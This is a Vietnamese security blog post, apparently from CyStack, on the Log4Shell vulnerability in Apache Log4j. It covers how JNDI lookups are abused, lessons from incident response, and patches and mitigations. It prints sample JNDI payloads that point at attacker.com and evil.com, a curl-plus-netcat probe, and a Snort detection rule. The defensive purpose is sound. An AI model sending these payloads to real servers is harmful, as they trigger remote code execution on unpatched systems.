Reading Time: 4 minutes

Trong quá trình làm nghề, mình phải tham gia xử lý sớm ngay khi phát hiện các lỗ hổng liên quan đến (Apache Log4j Remote Code Execution) Log4Shell khá nhiều. Trong bài viết này, mình sẽ chia sẻ lại về cơ chế hoạt động của Log4Shell, những bài học kinh nghiệm rút ra khi đối phó với nó, và quan trọng nhất là làm sao để bảo vệ hệ thống của bạn khỏi các biến thể khai thác hiện tại và trong tương lai.

Nếu bạn làm trong lĩnh vực bảo mật hoặc DevOps, chắc chắn bạn không thể bỏ qua bài viết này.

Apache Log4j Remote Code Execution

1. Log4Shell nguy hiểm như thế nào?

Mình còn nhớ cuối năm 2021, khi CVE-2021-44228 (Log4Shell) được công bố, cả cộng đồng an ninh mạng như bùng nổ. Hầu hết các hệ thống Java sử dụng Apache Log4j 2 đều có nguy cơ bị khai thác, từ các ứng dụng doanh nghiệp đến các dịch vụ cloud lớn như AWS, Google Cloud, và Azure.

Chỉ trong vòng vài giờ sau khi công bố, hàng loạt cuộc tấn công đã xuất hiện. Các nhóm hacker từ APT (Advanced Persistent Threat), ransomware operators, đến botnet DDoS đều đua nhau khai thác lỗ hổng này.

Tại sao Log4Shell lại nghiêm trọng đến vậy? Đơn giản vì nó cực kỳ dễ khai thác và cho phép thực thi mã từ xa (RCE) mà không cần xác thực.

Có thể bạn quan tâm: Cách khai thác .NET Core Remote Code Execution Vulnerability

2. Cách Log4Shell bị khai thác trong thực tế

Lý do chính khiến Log4j bị tấn công là JNDI Lookup, một cơ chế hỗ trợ tra cứu từ xa qua các giao thức như LDAP, RMI, DNS. Khi Log4j ghi log một chuỗi đặc biệt có chứa lệnh lookup, nó sẽ tự động kết nối đến máy chủ của kẻ tấn công và tải về mã độc.

Anh em có thể hình dung thế này:

  • Payload khai thác được chèn vào log, ví dụ:
log.info("${jndi:ldap://attacker.com/exploit}");
  • Log4j xử lý payload này và gửi yêu cầu đến máy chủ LDAP độc hại
  • Kẻ tấn công trả về một class Java độc hại, thực thi ngay trên hệ thống của bạn!

Một ví dụ thực tế hơn: Nếu bạn đang chạy một ứng dụng web Java và ghi log User-Agent của request, hacker có thể gửi request như sau:

GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://evil.com/exploit}

Nếu sử dụng Log4j mà chưa được vá, đây sẽ là lỗ hổng trong hệ thống và hacker có thể điều khiển, trục lợi từ xa.

3. Những bài học rút ra từ việc xử lý Log4Shell

Khi phát hiện lỗ hổng này, nhóm của mình đã ngay lập tức triển khai các biện pháp ứng phó khẩn cấp để bảo vệ hệ thống. Dưới đây là một số kinh nghiệm thực tế mà mình muốn chia sẻ:

Bài học 1: Không chỉ Log4j 2 bị ảnh hưởng

Khi kiểm tra các hệ thống sử dụng Log4j 1.x, mình phát hiện rằng JMSAppender cũng có nguy cơ bị khai thác nếu hacker kiểm soát được nguồn dữ liệu. Điều này có nghĩa là ngay cả khi bạn không dùng Log4j 2, bạn vẫn có thể gặp rủi ro!

Bài học 2: Bản vá đầu tiên (2.15.0) vẫn chưa đủ

Khi Apache Log4j 2.15.0 được phát hành, mọi người tưởng rằng vấn đề đã được giải quyết. Nhưng không! Lập tức CVE-2021-45046 được công bố, cho thấy rằng bản vá này vẫn có thể bị bypass trong một số cấu hình đặc biệt.

Cuối cùng, chúng ta cần cập nhật lên Log4j 2.17.1 để hoàn toàn loại bỏ rủi ro.

Bài học 3: Kiểm tra toàn bộ chuỗi cung ứng phần mềm

Một sai lầm phổ biến là chỉ kiểm tra ứng dụng chính mà quên đi các thư viện bên thứ ba (third-party dependencies). Khi phân tích hệ thống, mình phát hiện rất nhiều công cụ và framework bên ngoài vẫn sử dụng phiên bản Log4j cũ.

Lưu ý là hãy cập nhật Log4j cho tất cả các thành phần của hệ thống, kể cả các thư viện mà bạn không trực tiếp viết ra!

4. Vậy làm sao để bảo vệ hệ thống khỏi Log4Shell?

Sau đây là những bước bạn có thể áp dụng ngay để bảo vệ hệ thống khỏi Log4Shell và các biến thể của nó.

1. Cập nhật lên Log4j 2.17.1

Phiên bản này đã hoàn toàn vô hiệu hóa JNDI, loại bỏ tận gốc lỗ hổng.

2. Vô hiệu hóa JNDI nếu chưa thể cập nhật ngay

Nếu bạn chưa thể cập nhật, có thể giảm thiểu rủi ro bằng cách:

-Dlog4j2.formatMsgNoLookups=true

Hoặc xóa JndiLookup.class khỏi JAR Log4j:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. Dùng IDS/IPS để phát hiện và chặn tấn công

Các hệ thống như WAF (Web Application Firewall), Suricata, Snort có thể giúp chặn các payload khai thác Log4Shell.

Ví dụ, quy tắc Snort để phát hiện tấn công:

alert http any any -> any any (msg:"Log4Shell Exploit Attempt"; content:"${jndi:"; nocase; sid:202144228;)

4. Kiểm tra hệ thống của bạn

Bạn có thể sử dụng các công cụ sau để dò quét Log4Shell:

git clone <https://github.com/fullhunt/log4j-scan.git>
python3 log4j-scan.py -u <https://yourserver.com>

Hoặc kiểm tra bằng Netcat:

nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your-ip:1389/a}' <https://target.com>

Nếu bạn thấy kết nối đến Netcat, hệ thống của bạn có thể bị khai thác.

Xem thêm: Android Kernel Remote Code Execution Vulnerability: Hành trình khai thác và cách phòng chống

5. Kết luận

Nếu có một điều mình muốn nhấn mạnh sau khi trải qua cuộc khủng hoảng Log4Shell, đó là: Đừng bao giờ chủ quan với các thư viện bên ngoài, đặc biệt là những thư viện có quyền truy cập sâu vào hệ thống như Log4j.

⇒ Quan trọng là: Luôn cập nhật, giám sát và kiểm tra bảo mật định kỳ.

Nếu bạn chưa kiểm tra hệ thống của mình, hãy làm ngay bây giờ! Chỉ một payload nhỏ cũng có thể đánh sập toàn bộ hệ thống của bạn.

Hy vọng bài viết này giúp bạn hiểu sâu hơn về Log4Shell và cách phòng thủ hiệu quả. Nếu bạn có bất kỳ câu hỏi nào hoặc muốn chia sẻ kinh nghiệm của mình, đừng ngại để lại bình luận nhé!

Mời bạn đón đặc các bài viết cùng chủ đề:

0 Bình luận

Đăng nhập để thảo luận

Chuyên mục Hướng dẫn

Tổng hợp các bài viết hướng dẫn, nghiên cứu và phân tích chi tiết về kỹ thuật, các xu hướng công nghệ mới nhất dành cho lập trình viên.

Đăng ký nhận bản tin của chúng tôi

Hãy trở thành người nhận được các nội dung hữu ích của CyStack sớm nhất

Xem chính sách của chúng tôi Chính sách bảo mật.